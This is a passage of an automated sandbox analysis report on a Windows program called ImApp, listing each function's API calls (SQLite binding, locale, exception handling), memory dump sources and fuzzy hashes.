Instruction Fuzzy Hash: 5001A1767083052BB210DA295C41D6FB7DDDFC56A0F104A2EFA58D3289DB71DD0586E3

Function 10009E0C Relevance: 10.6, APIs: 7, Instructions: 57COMMON

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32 ref: 1000A448
_crt_debugger_hook.MSVCR80(00000001), ref: 1000A455
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 1000A45D
UnhandledExceptionFilter.KERNEL32(1000C308), ref: 1000A468
_crt_debugger_hook.MSVCR80(00000001), ref: 1000A479
GetCurrentProcess.KERNEL32(C0000409), ref: 1000A484
TerminateProcess.KERNEL32(00000000), ref: 1000A48B

Memory Dump Source

Source File: 00000007.00000002.3546089256.0000000010001000.00000020.00000001.01000000.0000000D.sdmp, Offset: 10000000, based on PE: true

Associated: 00000007.00000002.3546072579.0000000010000000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000007.00000002.3546106672.000000001000C000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000007.00000002.3546159214.0000000010010000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000007.00000002.3546175971.0000000010011000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_10000000_ImApp.jbxd

Similarity

API ID: ExceptionFilterProcessUnhandled_crt_debugger_hook$CurrentDebuggerPresentTerminate
String ID:
API String ID: 3369434319-0
Opcode ID: 7a6d430dcb6236862b0184bdcec76081df2440d7e5c6432b31d00403bc3aa57e
Instruction ID: 424229fdb71be54d6c9455ba1280849bf9802c6322cccd1846fc1e8132e87067
Opcode Fuzzy Hash: 7a6d430dcb6236862b0184bdcec76081df2440d7e5c6432b31d00403bc3aa57e
Instruction Fuzzy Hash: 0421ABB4A01329DFF340DF68C9C5A497BA8FB08355F40C11AF68987265E7F4DA84CB55

Function 004130B0 Relevance: 9.1, APIs: 6, Instructions: 135libraryCOMMON

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(?,00000000,00000002,?,?,?,?,?,?,?,?,?,0041FF00,000000FF), ref: 00413122
FindResourceW.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,0041FF00,000000FF), ref: 00413143
FreeLibrary.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,0041FF00,000000FF), ref: 00413232

Part of subcall function 0040A0B0: GetLastError.KERNEL32 ref: 0040A0B0

Memory Dump Source

Source File: 00000007.00000002.3527539028.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.3527472034.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527618924.0000000000422000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527704656.0000000000431000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527768840.0000000000432000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527803789.0000000000433000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_ImApp.jbxd

Similarity

API ID: Library$ErrorFindFreeLastLoadResource
String ID:
API String ID: 3418355812-0
Opcode ID: d4ee922d8c8a97727d1df096de51368ccd51620d1ae8744c501901310adbe3a5
Instruction ID: 5d34b8697311c1ab3b82cbe3dcc585a19aab26957822edbe69938acd33396dd3
Opcode Fuzzy Hash: d4ee922d8c8a97727d1df096de51368ccd51620d1ae8744c501901310adbe3a5
Instruction Fuzzy Hash: 74515071900248EBCB20EF64CE44BEE77B8FF49314F10416AE915A7280DB785B45CBA9

Function 100020A0 Relevance: 7.6, APIs: 5, Instructions: 123COMMON

Download Yara Rule

APIs

Part of subcall function 10003010: LeaveCriticalSection.KERNEL32(?), ref: 1000307F

sqlite3_step.SQLITE3(DC7F1836,00000001,DC7F1836,?,?,DC7F1836,00000000,?,00000000,00000000,?,00000001,00000000), ref: 10002146
sqlite3_reset.SQLITE3(?,00000000), ref: 10002179
sqlite3_clear_bindings.SQLITE3(?,?,00000000), ref: 1000218A
LeaveCriticalSection.KERNEL32(?), ref: 100021E5

Memory Dump Source

Source File: 00000007.00000002.3546089256.0000000010001000.00000020.00000001.01000000.0000000D.sdmp, Offset: 10000000, based on PE: true

Associated: 00000007.00000002.3546072579.0000000010000000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000007.00000002.3546106672.000000001000C000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000007.00000002.3546159214.0000000010010000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000007.00000002.3546175971.0000000010011000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_10000000_ImApp.jbxd

Similarity

API ID: CriticalLeaveSection$sqlite3_clear_bindingssqlite3_resetsqlite3_step
String ID:
API String ID: 3889188258-0
Opcode ID: 400e7d6ce28f69f74f8cda6ee1539198fb47ea9a0f5193af5cb173d3af5b297c
Instruction ID: 62e4cbbd2a1fff1ce2146e8e3f3ac061fad3850d9caf8d2bb5e519ea7c3ee5b9
Opcode Fuzzy Hash: 400e7d6ce28f69f74f8cda6ee1539198fb47ea9a0f5193af5cb173d3af5b297c
Instruction Fuzzy Hash: EC41BD76A083418BE701DF28CC81A5FB3E9EB946E0F104A2DF955C734AEB35ED048792

Function 10001FA0 Relevance: 7.6, APIs: 5, Instructions: 90COMMON

Download Yara Rule

APIs

Part of subcall function 10003010: LeaveCriticalSection.KERNEL32(?), ref: 1000307F

sqlite3_step.SQLITE3(?,?,?,?,00000000,00000000,?,10004277,?,00000001), ref: 10001FFB
sqlite3_reset.SQLITE3(?), ref: 1000201A
sqlite3_clear_bindings.SQLITE3(?), ref: 1000202B
sqlite3_changes.SQLITE3(00000000,?,?,?,00000000,00000000,?,10004277,?,00000001), ref: 10002075

Memory Dump Source

Source File: 00000007.00000002.3546089256.0000000010001000.00000020.00000001.01000000.0000000D.sdmp, Offset: 10000000, based on PE: true

Associated: 00000007.00000002.3546072579.0000000010000000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000007.00000002.3546106672.000000001000C000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000007.00000002.3546159214.0000000010010000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000007.00000002.3546175971.0000000010011000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_10000000_ImApp.jbxd

Similarity

API ID: CriticalLeaveSectionsqlite3_changessqlite3_clear_bindingssqlite3_resetsqlite3_step
String ID:
API String ID: 3745261661-0
Opcode ID: ab5cd223f536330fb7e4342700e268343bf88e02f7be97860db17a758a40a60b
Instruction ID: 1f82d08bec7cc205f8be56ba4ee8b3d4432e0ce38a8ae7c1e117ad416124e370
Opcode Fuzzy Hash: ab5cd223f536330fb7e4342700e268343bf88e02f7be97860db17a758a40a60b
Instruction Fuzzy Hash: AE218CB6B053125BF604DA708885B2F63C9EF946D0F058429FA889724BEB71FC04C3A2

Function 10003A50 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 67COMMON

Download Yara Rule

APIs

Part of subcall function 10003010: LeaveCriticalSection.KERNEL32(?), ref: 1000307F

sqlite3_step.SQLITE3(?,VACUUM,?), ref: 10003AA1
sqlite3_reset.SQLITE3(?), ref: 10003AB9
sqlite3_clear_bindings.SQLITE3(?), ref: 10003ACA

Strings

VACUUM, xrefs: 10003A86

Memory Dump Source

Source File: 00000007.00000002.3546089256.0000000010001000.00000020.00000001.01000000.0000000D.sdmp, Offset: 10000000, based on PE: true

Associated: 00000007.00000002.3546072579.0000000010000000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000007.00000002.3546106672.000000001000C000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000007.00000002.3546159214.0000000010010000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000007.00000002.3546175971.0000000010011000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_10000000_ImApp.jbxd

Similarity

API ID: CriticalLeaveSectionsqlite3_clear_bindingssqlite3_resetsqlite3_step
String ID: VACUUM
API String ID: 2455945462-586265604
Opcode ID: 240f93772642f987edcd31649354c1f9eea8277ae8bd134ccbef204a3ca6d3b9
Instruction ID: 9356cf8cd5aa912f42e0a12b3f46bc5fdf7ab073d6f49733ff2dd3ddd6645d07
Opcode Fuzzy Hash: 240f93772642f987edcd31649354c1f9eea8277ae8bd134ccbef204a3ca6d3b9
Instruction Fuzzy Hash: E3115EBBB052001BF746DA69484171B63DDDBC56E0F25C828FD99CB30AFA31EC008292

Function 0041D0C2 Relevance: 4.5, APIs: 3, Instructions: 39threadCOMMON

Download Yara Rule

APIs

GetThreadLocale.KERNEL32 ref: 0041D0D5
GetLocaleInfoA.KERNEL32(00000000,00001004,?,00000007), ref: 0041D0E7
GetACP.KERNEL32 ref: 0041D110

Memory Dump Source

Source File: 00000007.00000002.3527539028.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.3527472034.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527618924.0000000000422000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527704656.0000000000431000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527768840.0000000000432000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527803789.0000000000433000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_ImApp.jbxd

Similarity

API ID: Locale$InfoThread
String ID:
API String ID: 4232894706-0
Opcode ID: 4b7f7836ea7169f5da83dee54fef54cc74a1e3a1a137cadfc44d70399d9d226a
Instruction ID: 1c647bda89b310f80fcc6a2a7e787548a79f080857f95ae8a2ed168ab765cacc
Opcode Fuzzy Hash: 4b7f7836ea7169f5da83dee54fef54cc74a1e3a1a137cadfc44d70399d9d226a
Instruction Fuzzy Hash: 5DF0C231E002287BDB25DB7599166EF77E4AF08B40B40416EED41E7340DBB86D0587D8

Function 020EB1F0 Relevance: 4.5, APIs: 3, Instructions: 39threadCOMMON

Download Yara Rule

APIs

GetThreadLocale.KERNEL32 ref: 020EB203
GetLocaleInfoA.KERNEL32(00000000,00001004,?,00000007), ref: 020EB215
GetACP.KERNEL32 ref: 020EB23E

Memory Dump Source

Source File: 00000007.00000002.3528484835.00000000020C1000.00000020.00000001.01000000.00000010.sdmp, Offset: 020C0000, based on PE: true

Associated: 00000007.00000002.3528458320.00000000020C0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.3528575103.00000000020F1000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.3528599955.0000000002104000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.3528699503.0000000002106000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_20c0000_ImApp.jbxd

Similarity

API ID: Locale$InfoThread
String ID:
API String ID: 4232894706-0
Opcode ID: 8d0a7daf51c58da52bc63954117a75c35a389364cacf8cdf6c53d90908fb7a7c
Instruction ID: 08213d11dd9c5fb8cbe640c5b8e623aa53c704b470f8800d687aef82aa049231
Opcode Fuzzy Hash: 8d0a7daf51c58da52bc63954117a75c35a389364cacf8cdf6c53d90908fb7a7c
Instruction Fuzzy Hash: C0F0C231E40328AFDB629BB494556FFB7E4BF09B54B41419CED42E7680D7246A4887D0

Function 0041D12B Relevance: 3.0, APIs: 2, Instructions: 25COMMON

Download Yara Rule

APIs

GetVersionExA.KERNEL32(?), ref: 0041D14F
InterlockedExchange.KERNEL32(004328D0,Function_0001D0C2), ref: 0041D177

Memory Dump Source

Source File: 00000007.00000002.3527539028.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.3527472034.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527618924.0000000000422000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527704656.0000000000431000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527768840.0000000000432000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527803789.0000000000433000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_ImApp.jbxd

Similarity

API ID: ExchangeInterlockedVersion
String ID:
API String ID: 2700998522-0
Opcode ID: 47ca810d6590c836f8743f278aff4daf14072377788340ed20128228ac45585a
Instruction ID: 477ad20624362d8a163c256b1a3ce2d049984ed4e0602cc2394417ace820633e
Opcode Fuzzy Hash: 47ca810d6590c836f8743f278aff4daf14072377788340ed20128228ac45585a
Instruction Fuzzy Hash: 54F030B0A00208AFCB64EF74DE4979E77B5BB05304F9051BAE40AE6251CFB85DC9CB49

Function 10002A90 Relevance: 1.5, APIs: 1, Instructions: 36COMMON

Download Yara Rule

APIs

Part of subcall function 10001C30: sqlite3_prepare16_v2.SQLITE3(00000000,?,000000FF,10004418,00000000,?), ref: 10001C94

Part of subcall function 100028F0: #6732.MFC80U(?,DC7F1836,?,?,?,00000000,1000AB1B,000000FF,10002A10,?,?,?,?), ref: 1000291C
Part of subcall function 100028F0: #3991.MFC80U(?,00000001,?,?,?,00000000,1000AB1B,000000FF,10002A10,?,?,?,?), ref: 10002935
Part of subcall function 100028F0: #1473.MFC80U(1000C7AC,?,?,?,00000000,1000AB1B,000000FF,10002A10,?,?,?,?), ref: 10002947
Part of subcall function 100028F0: #578.MFC80U(?,?,?,00000000,1000AB1B,000000FF,10002A10,?,?,?,?), ref: 1000295B
Part of subcall function 100028F0: #781.MFC80U(00000000), ref: 10002980
Part of subcall function 100028F0: #578.MFC80U ref: 1000298F
Part of subcall function 100028F0: sqlite3_bind_parameter_index.SQLITE3(?,?,?,?,?,00000000,1000AB1B,000000FF,10002A10,?,?,?,?), ref: 1000299F
Part of subcall function 100028F0: #578.MFC80U ref: 100029B5

sqlite3_bind_int64.SQLITE3(?,00000000,?,?,?,00000000,?,?), ref: 10002AD2

Memory Dump Source

Source File: 00000007.00000002.3546089256.0000000010001000.00000020.00000001.01000000.0000000D.sdmp, Offset: 10000000, based on PE: true

Associated: 00000007.00000002.3546072579.0000000010000000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000007.00000002.3546106672.000000001000C000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000007.00000002.3546159214.0000000010010000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000007.00000002.3546175971.0000000010011000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_10000000_ImApp.jbxd

Similarity

API ID: #578$#1473#3991#6732#781sqlite3_bind_int64sqlite3_bind_parameter_indexsqlite3_prepare16_v2
String ID:
API String ID: 828278573-0
Opcode ID: 20fd0c1f93612fd4cead19590871d9a79e57380dbfcf6526abd023405d948fdb
Instruction ID: 58edf598b3405f83f47c107abca8da20711294d42133ce92924b6c1abe4fb515
Opcode Fuzzy Hash: 20fd0c1f93612fd4cead19590871d9a79e57380dbfcf6526abd023405d948fdb
Instruction Fuzzy Hash: 32F03AB67182096FEB08DF58C855E7B33DDDB88650F00C61DB85987285EA70ED1187A6

Function 0040E2A0 Relevance: 1.5, APIs: 1, Instructions: 34comCOMMON

Download Yara Rule

APIs

CoCreateInstance.OLE32(00427A20,00000000,00000001,00425A58,?), ref: 0040E2CC

Memory Dump Source

Source File: 00000007.00000002.3527539028.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.3527472034.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527618924.0000000000422000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527704656.0000000000431000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527768840.0000000000432000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527803789.0000000000433000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_ImApp.jbxd

Similarity

API ID: CreateInstance
String ID:
API String ID: 542301482-0
Opcode ID: 39f77615a3816becb61f1580df24c525aa761fd02b7cbb4ba71fbcc11cc67a27
Instruction ID: d70cc70454b1706084dd50ef6dfc516c004d4acbf146d2ab1ccee2f181cd9ad7
Opcode Fuzzy Hash: 39f77615a3816becb61f1580df24c525aa761fd02b7cbb4ba71fbcc11cc67a27
Instruction Fuzzy Hash: FFF08276300221ABC321DE4A9884E43B7E9EFE9775720457EF748A7344C736D852C7A8

Function 10002B50 Relevance: 1.5, APIs: 1, Instructions: 33COMMON

Download Yara Rule

APIs

Part of subcall function 10001C30: sqlite3_prepare16_v2.SQLITE3(00000000,?,000000FF,10004418,00000000,?), ref: 10001C94

Part of subcall function 100028F0: #6732.MFC80U(?,DC7F1836,?,?,?,00000000,1000AB1B,000000FF,10002A10,?,?,?,?), ref: 1000291C
Part of subcall function 100028F0: #3991.MFC80U(?,00000001,?,?,?,00000000,1000AB1B,000000FF,10002A10,?,?,?,?), ref: 10002935
Part of subcall function 100028F0: #1473.MFC80U(1000C7AC,?,?,?,00000000,1000AB1B,000000FF,10002A10,?,?,?,?), ref: 10002947
Part of subcall function 100028F0: #578.MFC80U(?,?,?,00000000,1000AB1B,000000FF,10002A10,?,?,?,?), ref: 1000295B
Part of subcall function 100028F0: #781.MFC80U(00000000), ref: 10002980
Part of subcall function 100028F0: #578.MFC80U ref: 1000298F
Part of subcall function 100028F0: sqlite3_bind_parameter_index.SQLITE3(?,?,?,?,?,00000000,1000AB1B,000000FF,10002A10,?,?,?,?), ref: 1000299F
Part of subcall function 100028F0: #578.MFC80U ref: 100029B5

sqlite3_bind_blob.SQLITE3(?,00000000,?,?,000000FF,?,?,?,?), ref: 10002B92

Memory Dump Source

Source File: 00000007.00000002.3546089256.0000000010001000.00000020.00000001.01000000.0000000D.sdmp, Offset: 10000000, based on PE: true

Associated: 00000007.00000002.3546072579.0000000010000000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000007.00000002.3546106672.000000001000C000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000007.00000002.3546159214.0000000010010000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000007.00000002.3546175971.0000000010011000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_10000000_ImApp.jbxd

Similarity

API ID: #578$#1473#3991#6732#781sqlite3_bind_blobsqlite3_bind_parameter_indexsqlite3_prepare16_v2
String ID:
API String ID: 871420578-0
Opcode ID: 21e2ba4f3b8ae1d13d5689767dc6c1972de7358f52837ae3b815a3e142430a49
Instruction ID: a4f1343357d2cc600b0f6cc9f18b49613ac5eda2b1e8ccf64e82b0682a26e15b
Opcode Fuzzy Hash: 21e2ba4f3b8ae1d13d5689767dc6c1972de7358f52837ae3b815a3e142430a49
Instruction Fuzzy Hash: 3FF05EB57183016FE608CB58C851E2B73DDDBC8760F10CA1DB05983289CA70EC0587A2

Function 10002AF0 Relevance: 1.5, APIs: 1, Instructions: 32COMMON

Download Yara Rule

APIs

Part of subcall function 10001C30: sqlite3_prepare16_v2.SQLITE3(00000000,?,000000FF,10004418,00000000,?), ref: 10001C94

Part of subcall function 100028F0: #6732.MFC80U(?,DC7F1836,?,?,?,00000000,1000AB1B,000000FF,10002A10,?,?,?,?), ref: 1000291C
Part of subcall function 100028F0: #3991.MFC80U(?,00000001,?,?,?,00000000,1000AB1B,000000FF,10002A10,?,?,?,?), ref: 10002935
Part of subcall function 100028F0: #1473.MFC80U(1000C7AC,?,?,?,00000000,1000AB1B,000000FF,10002A10,?,?,?,?), ref: 10002947
Part of subcall function 100028F0: #578.MFC80U(?,?,?,00000000,1000AB1B,000000FF,10002A10,?,?,?,?), ref: 1000295B
Part of subcall function 100028F0: #781.MFC80U(00000000), ref: 10002980
Part of subcall function 100028F0: #578.MFC80U ref: 1000298F
Part of subcall function 100028F0: sqlite3_bind_parameter_index.SQLITE3(?,?,?,?,?,00000000,1000AB1B,000000FF,10002A10,?,?,?,?), ref: 1000299F
Part of subcall function 100028F0: #578.MFC80U ref: 100029B5

sqlite3_bind_text16.SQLITE3(?,00000000,?,000000FF,000000FF,?,?,?,?), ref: 10002B2F

Memory Dump Source

Source File: 00000007.00000002.3546089256.0000000010001000.00000020.00000001.01000000.0000000D.sdmp, Offset: 10000000, based on PE: true

Associated: 00000007.00000002.3546072579.0000000010000000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000007.00000002.3546106672.000000001000C000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000007.00000002.3546159214.0000000010010000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000007.00000002.3546175971.0000000010011000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_10000000_ImApp.jbxd

Similarity

API ID: #578$#1473#3991#6732#781sqlite3_bind_parameter_indexsqlite3_bind_text16sqlite3_prepare16_v2
String ID:
API String ID: 3815531818-0
Opcode ID: fc0c22ca806a898e76bd777dd2fcc371ee100fa9e821236a69947e7c171beb78
Instruction ID: a1ebb6c28bf097f673aa51926cb1b2e034d8c44d7be7be2533ef8e3a813fe6f7
Opcode Fuzzy Hash: fc0c22ca806a898e76bd777dd2fcc371ee100fa9e821236a69947e7c171beb78
Instruction Fuzzy Hash: DEF0F8B96182116BA608DB18C851E3FB3DDDBC4660F10CB1DB469832C9DA74EC0197A2

Function 10002A30 Relevance: 1.5, APIs: 1, Instructions: 30COMMON

Download Yara Rule

APIs

Part of subcall function 10001C30: sqlite3_prepare16_v2.SQLITE3(00000000,?,000000FF,10004418,00000000,?), ref: 10001C94

Part of subcall function 100028F0: #6732.MFC80U(?,DC7F1836,?,?,?,00000000,1000AB1B,000000FF,10002A10,?,?,?,?), ref: 1000291C
Part of subcall function 100028F0: #3991.MFC80U(?,00000001,?,?,?,00000000,1000AB1B,000000FF,10002A10,?,?,?,?), ref: 10002935
Part of subcall function 100028F0: #1473.MFC80U(1000C7AC,?,?,?,00000000,1000AB1B,000000FF,10002A10,?,?,?,?), ref: 10002947
Part of subcall function 100028F0: #578.MFC80U(?,?,?,00000000,1000AB1B,000000FF,10002A10,?,?,?,?), ref: 1000295B
Part of subcall function 100028F0: #781.MFC80U(00000000), ref: 10002980
Part of subcall function 100028F0: #578.MFC80U ref: 1000298F
Part of subcall function 100028F0: sqlite3_bind_parameter_index.SQLITE3(?,?,?,?,?,00000000,1000AB1B,000000FF,10002A10,?,?,?,?), ref: 1000299F
Part of subcall function 100028F0: #578.MFC80U ref: 100029B5

sqlite3_bind_int.SQLITE3(?,00000000,?,?,?,?,?), ref: 10002A6B

Memory Dump Source

Source File: 00000007.00000002.3546089256.0000000010001000.00000020.00000001.01000000.0000000D.sdmp, Offset: 10000000, based on PE: true

Associated: 00000007.00000002.3546072579.0000000010000000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000007.00000002.3546106672.000000001000C000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000007.00000002.3546159214.0000000010010000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000007.00000002.3546175971.0000000010011000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_10000000_ImApp.jbxd

Similarity

API ID: #578$#1473#3991#6732#781sqlite3_bind_intsqlite3_bind_parameter_indexsqlite3_prepare16_v2
String ID:
API String ID: 4145201505-0
Opcode ID: a351ff973f240e62a1a642c2831af6477f0b9a69ca4346630ba82c18dfc7d7f9
Instruction ID: 10e38a15fad3724c472639fb9169b5a71424f9321f91f2608493a533b23c1e64
Opcode Fuzzy Hash: a351ff973f240e62a1a642c2831af6477f0b9a69ca4346630ba82c18dfc7d7f9
Instruction Fuzzy Hash: 80F039BA7183006FE608CB14D855E3FB3EDDBC8A80F00C91DB44987249DA74EC059BA6

Function 100029E0 Relevance: 1.5, APIs: 1, Instructions: 28COMMON

Download Yara Rule

APIs

Part of subcall function 10001C30: sqlite3_prepare16_v2.SQLITE3(00000000,?,000000FF,10004418,00000000,?), ref: 10001C94

Part of subcall function 100028F0: #6732.MFC80U(?,DC7F1836,?,?,?,00000000,1000AB1B,000000FF,10002A10,?,?,?,?), ref: 1000291C
Part of subcall function 100028F0: #3991.MFC80U(?,00000001,?,?,?,00000000,1000AB1B,000000FF,10002A10,?,?,?,?), ref: 10002935
Part of subcall function 100028F0: #1473.MFC80U(1000C7AC,?,?,?,00000000,1000AB1B,000000FF,10002A10,?,?,?,?), ref: 10002947
Part of subcall function 100028F0: #578.MFC80U(?,?,?,00000000,1000AB1B,000000FF,10002A10,?,?,?,?), ref: 1000295B
Part of subcall function 100028F0: #781.MFC80U(00000000), ref: 10002980
Part of subcall function 100028F0: #578.MFC80U ref: 1000298F
Part of subcall function 100028F0: sqlite3_bind_parameter_index.SQLITE3(?,?,?,?,?,00000000,1000AB1B,000000FF,10002A10,?,?,?,?), ref: 1000299F
Part of subcall function 100028F0: #578.MFC80U ref: 100029B5

sqlite3_bind_null.SQLITE3(?,00000000,?,?,?,?), ref: 10002A16

Memory Dump Source

Source File: 00000007.00000002.3546089256.0000000010001000.00000020.00000001.01000000.0000000D.sdmp, Offset: 10000000, based on PE: true

Associated: 00000007.00000002.3546072579.0000000010000000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000007.00000002.3546106672.000000001000C000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000007.00000002.3546159214.0000000010010000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000007.00000002.3546175971.0000000010011000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_10000000_ImApp.jbxd

Similarity

API ID: #578$#1473#3991#6732#781sqlite3_bind_nullsqlite3_bind_parameter_indexsqlite3_prepare16_v2
String ID:
API String ID: 3964147244-0
Opcode ID: 8f5e29562fa7d4394cf06c869b17ff78309d6a25998ebf977139bdf8ac33bb05
Instruction ID: 2cb59c9e0a26247027146e934cdb266c2dd940264a39bc05d88248ae6a43bd69
Opcode Fuzzy Hash: 8f5e29562fa7d4394cf06c869b17ff78309d6a25998ebf977139bdf8ac33bb05
Instruction Fuzzy Hash: 41E06DB67183016FE648DB54C801E6F63DDDFC8690F00C81DB049C3248DE30EC048762

Function 0041C9D9 Relevance: 1.5, APIs: 1, Instructions: 4COMMON

Download Yara Rule

APIs

SetUnhandledExceptionFilter.KERNEL32(Function_0001C99C), ref: 0041C9DE

Memory Dump Source

Source File: 00000007.00000002.3527539028.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.3527472034.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527618924.0000000000422000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527704656.0000000000431000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527768840.0000000000432000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527803789.0000000000433000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_ImApp.jbxd

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: f3aa4e61f50f07ca8625bee37a7b17c8dcfe627b5dc47c89dac21bb561781b80
Instruction ID: d7e44a70b071540e4142e642d00a9bb9db9241cb5f23d6dc5ee5b2a287a9b97c
Opcode Fuzzy Hash: f3aa4e61f50f07ca8625bee37a7b17c8dcfe627b5dc47c89dac21bb561781b80
Instruction Fuzzy Hash: CE9002B43A218157872457715D5974965D05A487027915861A401C9054DAA84045551A

Function 0041B040 Relevance: 128.2, APIs: 65, Strings: 8, Instructions: 438COMMON

Download Yara Rule

APIs

_time64.MSVCR80 ref: 0041B08A
#675.IMUTILSU ref: 0041B0B2
#1409.IMUTILSU ref: 0041B0B9
#675.IMUTILSU(00000000,MinShow,?,000005A0,00000001,00000000), ref: 0041B0D1
#1409.IMUTILSU(00000000,MinShow,?,000005A0,00000001,00000000), ref: 0041B0D8
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 0041B0F1
#675.IMUTILSU(00000000,RmlType,?,00000000,00000001,00000000,00000000,MinShow,?,000005A0,00000001,00000000), ref: 0041B120
#1409.IMUTILSU(00000000,RmlType,?,00000000,00000001,00000000,00000000,MinShow,?,000005A0,00000001,00000000), ref: 0041B127
#675.IMUTILSU(00000000,RmlNum,?,00000000,00000001,00000000,00000000,RmlType,?,00000000,00000001,00000000,00000000,MinShow,?,000005A0), ref: 0041B13B
#1409.IMUTILSU(00000000,RmlNum,?,00000000,00000001,00000000,00000000,RmlType,?,00000000,00000001,00000000,00000000,MinShow,?,000005A0), ref: 0041B142
